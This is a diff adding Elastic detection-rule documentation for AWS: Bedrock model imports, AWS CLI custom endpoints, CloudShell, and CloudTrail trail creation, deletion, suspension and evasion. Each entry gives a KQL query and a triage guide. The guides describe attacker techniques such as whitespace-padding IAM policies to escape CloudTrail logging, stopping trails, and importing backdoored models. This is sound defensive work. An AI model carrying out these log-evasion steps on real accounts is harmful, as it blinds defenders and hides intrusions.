0000000000..2023229c0e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-untrusted-model-imported-or-marketplace-endpoint-registered.asciidoc @@ -0,0 +1,135 @@ +[[prebuilt-rule-8-19-34-aws-bedrock-untrusted-model-imported-or-marketplace-endpoint-registered]] +=== AWS Bedrock Untrusted Model Imported or Marketplace Endpoint Registered + +Detects when an AWS Bedrock custom model is imported or deployed, or when a marketplace model endpoint is created or registered, via the CreateModelImportJob, CreateCustomModelDeployment, CreateMarketplaceModelEndpoint, or RegisterMarketplaceModelEndpoint API calls. These actions introduce a model artifact from outside the organization's trusted training and approval pipeline. A backdoored, poisoned, or attacker-supplied model that downstream applications subsequently invoke represents a software supply-chain compromise. New model imports and marketplace endpoint registrations should be validated for artifact provenance (S3 source ownership), the registering identity, and whether the model originates from an approved internal pipeline. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock/latest/APIReference/API_CreateModelImportJob.html +* https://docs.aws.amazon.com/bedrock/latest/userguide/model-import.html + +*Tags*: + +* Domain: Cloud +* Domain: LLM +* Data Source: AWS +* Data Source: AWS CloudTrail +* Data Source: Amazon Web Services +* Data Source: AWS Bedrock +* Data Source: Amazon Bedrock +* Use Case: Threat Detection +* Resources: Investigation Guide +* Tactic: Persistence +* Noise: Unknown +* Performance: Normal +* Threat: Unauthorized AI Usage +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Domain: GenAI +* Service: AWS Bedrock + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock Untrusted Model Imported or Marketplace Endpoint Registered* + + +Amazon Bedrock allows organizations to import custom models, deploy them, and register marketplace model endpoints for inference. Each of these paths introduces a model artifact that did not necessarily originate from the organization's trusted training and approval pipeline. Adversaries who can import a backdoored or poisoned model — or register an untrusted marketplace endpoint — can influence the output of any downstream application that invokes that model, constituting a supply-chain compromise. This detection identifies `CreateModelImportJob`, `CreateCustomModelDeployment`, `CreateMarketplaceModelEndpoint`, and `RegisterMarketplaceModelEndpoint` calls so responders can verify model provenance before the model is trusted for inference. + + +*Possible investigation steps* + + +- **Identify the actor and context** + - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, `aws.cloudtrail.user_identity.access_key_id`, `user_agent.original`, and `source.ip`. + - Confirm whether a related change request or model onboarding ticket exists. + - Determine if the identity is an approved ML/MLOps role or automation principal. +- **Validate the model artifact source** + - In `aws.cloudtrail.flattened.request_parameters`, review the model source location (e.g., the S3 URI for an import job) and confirm the bucket belongs to your organization and is not attacker-controlled. + - For marketplace endpoints, confirm the model package ARN / product corresponds to an approved vendor. +- **Correlate activity** + - Look for subsequent `InvokeModel` / `InvokeModelWithResponseStream` activity targeting the new model or endpoint. + - Check for prior enumeration such as `ListFoundationModels`, `ListCustomModels`, or `ListImportedModels`. + - Review other recent actions by the same identity for signs of broader compromise. + + +*False positive analysis* + +- **Planned model onboarding**: ML teams routinely import models and register endpoints. Validate against a ticket and confirm the artifact source. +- **Automation**: IaC or MLOps pipelines may create these resources during deployment. Confirm the source IP and ARN match expected automation infrastructure. + + +*Response and remediation* + +- **If unauthorized** + - Delete or disable the imported model, custom model deployment, or marketplace endpoint. + - Prevent downstream applications from invoking the untrusted model until provenance is established. + - Disable the access key in `aws.cloudtrail.user_identity.access_key_id` and rotate credentials if compromise is suspected. + - Audit the S3 source bucket for tampering and review the model artifact for backdoors. +- **Hardening** + - Restrict `bedrock:CreateModelImportJob`, `bedrock:CreateCustomModelDeployment`, and marketplace endpoint creation/registration permissions to approved roles. + - Enforce that model artifacts originate only from organization-owned, controlled S3 locations. + + +*Additional information* + + + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "bedrock.amazonaws.com" + and event.action: ( + "CreateModelImportJob" or + "CreateCustomModelDeployment" or + "CreateMarketplaceModelEndpoint" or + "RegisterMarketplaceModelEndpoint" + ) + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Implant Internal Image +** ID: T1525 +** Reference URL: https://attack.mitre.org/techniques/T1525/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-cli-command-with-custom-endpoint-url.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-cli-command-with-custom-endpoint-url.asciidoc new file mode 100644 index 0000000000..87cfa1dae4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-cli-command-with-custom-endpoint-url.asciidoc @@ -0,0 +1,129 @@ +[[prebuilt-rule-8-19-34-aws-cli-command-with-custom-endpoint-url]] +=== AWS CLI Command with Custom Endpoint URL + +Detects the use of the AWS CLI with the "--endpoint-url" argument, which allows users to specify a custom endpoint URL for AWS services. This can be leveraged by adversaries to redirect API requests to non-standard or malicious endpoints, potentially bypassing typical security controls and logging mechanisms. This behavior may indicate an attempt to interact with unauthorized or compromised infrastructure, exfiltrate data, or perform other malicious activities under the guise of legitimate AWS operations. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* endgame-* +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://sysdig.com/blog/scarleteel-2-0/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: Linux + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating AWS CLI Command with Custom Endpoint URL* + + +The AWS CLI allows users to interact with AWS services via command-line, offering flexibility in managing cloud resources. The `--endpoint-url` option lets users specify alternative endpoints, which can be exploited by adversaries to reroute requests to malicious servers, bypassing security controls. The detection rule identifies such misuse by monitoring for the `--endpoint-url` argument in process logs, flagging potential unauthorized activities. + + +*Possible investigation steps* + + +- Review the process logs to identify the specific command line that triggered the alert, focusing on the presence of the --endpoint-url argument. +- Investigate the custom endpoint URL specified in the command to determine if it is a known malicious or unauthorized domain. +- Check the user account associated with the process to assess if it has a history of suspicious activity or if it has been compromised. +- Analyze network logs to trace any outbound connections to the custom endpoint URL and evaluate the data being transmitted. +- Correlate the event with other security alerts or logs to identify any patterns or additional indicators of compromise related to the same user or endpoint. +- Verify if the AWS credentials used in the command have been exposed or misused in other contexts, potentially indicating credential theft or abuse. + + +*False positive analysis* + + +- Internal testing environments may use custom endpoint URLs for development purposes. To manage this, create exceptions for known internal IP addresses or domain names associated with these environments. +- Organizations using AWS CLI with custom endpoints for legitimate third-party integrations might trigger this rule. Identify and whitelist these specific integrations by their endpoint URLs to prevent false positives. +- Automated scripts or tools that interact with AWS services through custom endpoints for monitoring or backup purposes can be flagged. Review and document these scripts, then exclude them from detection by process name or specific endpoint URL. +- Some organizations may use proxy servers that require custom endpoint URLs for AWS CLI operations. Verify these configurations and exclude the associated endpoint URLs from the detection rule. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Review process logs and network traffic to identify any data that may have been redirected to unauthorized endpoints and assess the extent of potential data exposure. +- Revoke any AWS credentials or access keys used on the affected system to prevent further misuse and rotate them with new credentials. +- Conduct a thorough investigation to determine if any other systems have been compromised or if similar unauthorized endpoint usage has occurred elsewhere in the network. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional containment or remediation actions are necessary. +- Implement network-level controls to block known malicious endpoints and enhance monitoring for unusual AWS CLI usage patterns across the environment. +- Update security policies and endpoint protection configurations to detect and alert on the use of custom endpoint URLs in AWS CLI commands, ensuring rapid response to future incidents. + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:"linux" and event.category:"process" and +event.action:("exec" or "exec_event" or "executed" or "process_started" or "ProcessRollup2") and +process.name:"aws" and process.args:"--endpoint-url" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Web Service +** ID: T1102 +** Reference URL: https://attack.mitre.org/techniques/T1102/ +* Sub-technique: +** Name: Bidirectional Communication +** ID: T1102.002 +** Reference URL: https://attack.mitre.org/techniques/T1102/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-cloudshell-environment-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-cloudshell-environment-created.asciidoc new file mode 100644 index 0000000000..4d1ac25a43 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-cloudshell-environment-created.asciidoc @@ -0,0 +1,153 @@ +[[prebuilt-rule-8-19-34-aws-cloudshell-environment-created]] +=== AWS CloudShell Environment Created + +Identifies the creation of a new AWS CloudShell environment. CloudShell is a browser-based shell that provides command-line access to AWS resources directly from the AWS Management Console. The CreateEnvironment API is called when a user launches CloudShell for the first time or when accessing CloudShell in a new AWS region. Adversaries with console access may use CloudShell to execute commands, install tools, or interact with AWS services without needing local CLI credentials. Monitoring environment creation helps detect unauthorized CloudShell usage from compromised console sessions. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://aws-samples.github.io/threat-technique-catalog-for-aws/Techniques/T1059.009.html +* https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS CloudTrail +* Data Source: AWS CloudShell +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Noise: Medium +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: AWS + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS CloudShell Environment Created* + + +AWS CloudShell is a browser-based shell environment that provides instant command-line access to AWS resources without requiring local CLI installation or credential configuration. While this is convenient for legitimate administrators, it also provides adversaries with a powerful tool if they gain access to a compromised AWS console session. + +This rule detects when a CloudShell environment is created via the `CreateEnvironment` API. This event occurs when a user launches CloudShell for the first time or when accessing CloudShell in a new AWS region (each region maintains a separate environment). + + +*Possible investigation steps* + + +- **Identify the actor** + - Review `aws.cloudtrail.user_identity.arn` or `user.name` to determine which IAM principal created the CloudShell environment. + - Check `aws.cloudtrail.user_identity.type` to identify whether this is an IAM user or an assumed role session. + - Verify if this user typically performs command-line or administrative operations. + +- **Analyze the source context** + - Review `source.ip` and `source.geo` fields to verify the request origin matches expected administrator locations. + - Check `user_agent.original` to confirm the request came from a browser session. + - Look for the preceding `ConsoleLogin` event to understand how the session was established. + +- **Correlate with surrounding activity** + - Look for any IAM operations (CreateAccessKey, CreateUser, AttachRolePolicy) that occurred after CloudShell was accessed. + - Check for data exfiltration patterns or reconnaissance activity from the same session. + +- **Assess the broader context** + - Determine if this user has a legitimate need for CloudShell access based on their role. + - Review recent access patterns for the console session that initiated CloudShell. + - Check if MFA was used for the console login. + + +*False positive analysis* + + +- Administrators routinely using CloudShell for AWS management tasks will trigger this rule. Consider tuning for known admin users if noise is a concern. +- Users accessing CloudShell in a new AWS region will generate a `CreateEnvironment` event even if they have used CloudShell before in other regions. +- Training or certification activities may involve CloudShell environment creation. + + +*Response and remediation* + + +- If unauthorized, immediately terminate the console session to revoke CloudShell access. +- Review and revoke any credentials or resources created during the CloudShell session. +- Consider restricting CloudShell access via SCPs or IAM policies for sensitive accounts or users who do not require it. +- Implement session duration limits to reduce the window of opportunity for console session abuse. +- Enable MFA for all console logins to reduce the risk of session compromise. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "cloudshell.amazonaws.com" + and event.action: "CreateEnvironment" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Cloud API +** ID: T1059.009 +** Reference URL: https://attack.mitre.org/techniques/T1059/009/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-cloudtrail-log-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-cloudtrail-log-created.asciidoc new file mode 100644 index 0000000000..41029ecdb1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-cloudtrail-log-created.asciidoc @@ -0,0 +1,138 @@ +[[prebuilt-rule-8-19-34-aws-cloudtrail-log-created]] +=== AWS CloudTrail Log Created + +Detects creation of a new AWS CloudTrail trail via CreateTrail API. While legitimate during onboarding or auditing improvements, adversaries can create trails that write to attacker-controlled destinations, limit regions, or otherwise subvert monitoring objectives. New trails should be validated for destination ownership, encryption, multi-region coverage, and organizational scope. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/awscloudtrail/latest/APIReference/API_CreateTrail.html +* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/cloudtrail/create-trail.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS CloudTrail +* Use Case: Log Auditing +* Tactic: Collection +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: AWS + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS CloudTrail Log Created* + + +AWS CloudTrail is a service that enables governance, compliance, and operational and risk auditing of your AWS account. It logs API calls and related events, providing visibility into user activity. Adversaries may create new trails to capture sensitive data or cover their tracks. This detection identifies +`CreateTrail` calls so responders can verify destination ownership, encryption, and scope before accepting the change. + + +*Possible investigation steps* + + +- **Identify the actor and context** + - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, `user_agent.original`, `source.ip`. + - Confirm a related change request exists (onboarding, architecture change). +- **Validate trail configuration** + - In `aws.cloudtrail.request_parameters`, verify: + - `S3BucketName`/`CloudWatchLogsLogGroupArn` belong to your org (no external accounts). + - `IsMultiRegionTrail=true` and `IncludeGlobalServiceEvents=true` (as per your standard). + - `KmsKeyId` is an approved CMK; log file validation enabled. +- **Correlate activity** + - Look for `PutEventSelectors`, `PutInsightSelectors`, `StartLogging` following creation. + - Check for prior enumeration: `DescribeTrails`, `ListBuckets`, `GetEventSelectors`. + + +*False positive analysis* + +- **Planned creation**: Onboarding or compliance initiatives often add trails. Validate via ticket and standard template. +- **Automation**: IaC or control-tower pipelines may create trails on account bootstrap. + + +*Response and remediation* + +- **If unauthorized** + - Disable or delete the trail; verify and secure the destination S3/CloudWatch resources. + - Review the actor’s recent changes and rotate credentials if compromise is suspected. +- **Hardening** + - Restrict `cloudtrail:CreateTrail` to admin roles. + - Use AWS Config / Security Hub controls to enforce multi-region, global events, and validated destinations. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "cloudtrail.amazonaws.com" + and event.action: "CreateTrail" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-cloudtrail-log-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-cloudtrail-log-deleted.asciidoc new file mode 100644 index 0000000000..6f4e790d55 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-cloudtrail-log-deleted.asciidoc @@ -0,0 +1,126 @@ +[[prebuilt-rule-8-19-34-aws-cloudtrail-log-deleted]] +=== AWS CloudTrail Log Deleted + +Detects deletion of an AWS CloudTrail trail via DeleteTrail API. Removing trails is a high-risk action that destroys an audit control plane and is frequently paired with other destructive or stealthy operations. Validate immediately and restore compliant logging. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/awscloudtrail/latest/APIReference/API_DeleteTrail.html +* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/cloudtrail/delete-trail.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS CloudTrail +* Use Case: Log Auditing +* Resources: Investigation Guide +* Tactic: Defense Evasion +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: AWS + +*Version*: 217 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS CloudTrail Log Deleted* + + +AWS CloudTrail is a service that enables governance, compliance, and operational and risk auditing of your AWS account. It logs API calls and related events, providing visibility into user activity. This rule identifies the deletion of an AWS log trail using the `DeleteTrail` API. Deleting a trail can eliminate visibility and is a strong indicator of defense evasion or sabotage. + + +*Possible investigation steps* + +- **Actor & target** + - Identify `aws.cloudtrail.user_identity.arn`, `user_agent.original`, `source.ip`. + - Confirm which trail was deleted (name/ARN, multi-region/organization status) from `aws.cloudtrail.request_parameters`. +- **Blast radius** + - Determine whether it was the only trail or if organization/multi-region coverage remains. + - Review preceding `StopLogging` or `UpdateTrail` and subsequent high-risk actions (IAM, S3, KMS, EC2 exports). +- **Data preservation** + - Verify S3 destinations and CloudWatch log groups for retained historical logs and file integrity validation. + + +*False positive analysis* + +- **Planned deletion**: Validate with tickets and decommissioning plans; ensure replacement/alternate trails exist. + + +*Response and remediation* + +- Recreate or re-enable compliant multi-region (or organization) trails immediately. +- Investigate the actor’s recent activity; rotate creds if compromise is suspected. +- Validate destination bucket policies, CMK policies, and event selectors for all active trails. +- Hardening: Restrict `cloudtrail:DeleteTrail` and enforce guardrails via AWS Config/SCPs; alert on future deletions. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "cloudtrail.amazonaws.com" + and event.action: "DeleteTrail" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-cloudtrail-log-evasion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-cloudtrail-log-evasion.asciidoc new file mode 100644 index 0000000000..b68e3fcd59 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-cloudtrail-log-evasion.asciidoc @@ -0,0 +1,135 @@ +[[prebuilt-rule-8-19-34-aws-cloudtrail-log-evasion]] +=== AWS CloudTrail Log Evasion + +Identifies the evasion of cloudtrail logging for IAM actions involving policy creation, modification or attachment. When making certain policy-related API calls, an adversary may pad the associated policy document with whitespaces to trigger CloudTrail’s logging size constraints, resulting in incomplete logging where critical details about the policy are omitted. By exploiting this gap, threat actors can bypass monitoring performed through CloudTrail and can effectively obscure unauthorized changes. This rule looks for IAM API calls with the requestParameters property containing reason:”requestParameters too large” and omitted:true. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://permiso.io/blog/cloudtrail-logging-evasion-where-policy-size-matters + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Use Case: Log Auditing +* Resources: Investigation Guide +* Tactic: Defense Evasion +* Noise: Low +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS IAM + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS CloudTrail Log Evasion* + + +Amazon CloudTrail is a service that enables governance, compliance, operational auditing, and risk auditing of your Amazon Web Services account. With CloudTrail, you can log, continuously monitor, and retain account activity related to actions across your Amazon Web Services infrastructure. In the `requestParameters` field of CloudTrail logs, a policy that was created/updated is typically displayed, including details such as the policy name and the full policy document content. However, when policies padded with large amounts of insignificant whitespace (such as spaces, tabs, or line breaks), reach a size range of 102,401 to 131,072 characters they begin to be omitted from CloudTrail logs and are instead rendered as "requestParameters too large". Attackers can do this to cover their tracks and impact security monitoring that relies on this source. This rule looks for IAM API calls with the requestParameters property containing reason:”requestParameters too large” and omitted:true. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate other alerts associated with the user account during the past 48 hours. +- Contact the account and resource owners and confirm whether they are aware of this activity. +- Check if this operation was approved and performed according to the organization's change management policy. +- Considering the source IP address and geolocation of the user who issued the command: + - Do they look normal for the user? + - If the source is an EC2 IP address, is it associated with an EC2 instance in one of your accounts or is the source IP from an EC2 instance that's not under your control? + - If it is an authorized EC2 instance, is the activity associated with normal behavior for the instance role or roles? Are there any other alerts or signs of suspicious activity involving this instance? +- Examine the newly created or modified policy. +- If no policy name is included for event.actions like `PutRolePolicy`, analyze the inline policies attached for unexpected permission changes or additions. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours. + + +*False positive analysis* + + +- If this rule is noisy in your environment due to expected activity, consider adding exceptions — preferably with a combination of user and IP address conditions. However, this behavior is rarely seen in legitimate operations and should be thoroughly investigated. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Check if unauthorized new users were created, remove unauthorized new accounts, and request password resets for other IAM users. +- Consider enabling multi-factor authentication for users. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[outlined] by AWS. +- Take the actions needed to return affected systems, data, or services to their normal operational levels. +- Identify the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + +==== Setup + + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: aws.cloudtrail and event.provider: iam.amazonaws.com and aws.cloudtrail.flattened.request_parameters.reason: "requestParameters too large" and aws.cloudtrail.flattened.request_parameters.omitted : true and event.outcome: success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-cloudtrail-log-suspended.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-cloudtrail-log-suspended.asciidoc new file mode 100644 index 0000000000..3822feb766 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-cloudtrail-log-suspended.asciidoc @@ -0,0 +1,126 @@ +[[prebuilt-rule-8-19-34-aws-cloudtrail-log-suspended]] +=== AWS CloudTrail Log Suspended + +Detects Cloudtrail logging suspension via StopLogging API. Stopping CloudTrail eliminates forward audit visibility and is a classic defense evasion step before sensitive changes or data theft. Investigate immediately and determine what occurred during the logging gap. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/awscloudtrail/latest/APIReference/API_StopLogging.html +* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/cloudtrail/stop-logging.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS CloudTrail +* Use Case: Log Auditing +* Resources: Investigation Guide +* Tactic: Defense Evasion +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: AWS + +*Version*: 217 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 